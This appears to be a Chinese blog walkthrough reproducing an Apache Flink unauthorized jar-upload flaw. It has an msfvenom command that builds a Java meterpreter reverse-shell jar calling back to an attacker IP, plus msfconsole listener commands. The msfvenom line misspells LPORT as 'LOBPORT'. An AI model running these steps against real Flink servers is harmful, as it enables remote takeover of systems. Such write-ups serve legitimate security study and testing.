漏洞描述
Apache Flink是一个面向数据流处理和批量数据处理的可分布式的开源计算框架。它可以用来做批处理,即处理静态的数据集、历史的数据集;也可以用来做流处理,即实时地处理一些实时数据流,实时地产生数据的结果;也可以用来做一些基于事件的应用;该漏洞允许攻击者利用REST API,并通过精心构造的HTTP Header,实现远程文件写入。
总结:可以上传恶意文件获取后台权限。
参考文章:
Apache Flink任意jar包上传漏洞(1.9.1最新版)_apache flink 1.9.0漏洞 反弹shell-优快云博客
Apache Flink 文件上传漏洞 (CVE-2020-17518) - FreeBuf网络安全行业门户
漏洞复现
1、查看漏洞信息
主页访问http://targetIP:8081,可以查看到主页,我们未经授权就可以访问到该页面,说明该页面存在着安全隐患。
2、 生成jar包
在kali中执行下面的语句,生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机ip LOBPORT=攻击机任意不被占用的端口 -f jar > 生成的jar包名.jar
3、msfconsole开启监听
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 攻击机ip
msf6 exploit(multi/handler) > run
4、上传jar文件
按照下面的步骤进行提交,然后点击submit
5、msf6查看是否连接成功,如下所示成功连接,获取shell权限,可以输入ls/ipconfig/whoami来查看信息。
6、最后,如果你不是在自己搭建的环境中进行渗透的话,建议复现完后将jar包进行删除。
在网页上点击delete删除即可。
这个漏洞的复现我在1.11.1/1.17.1/1.14.4三个版本中都成功了。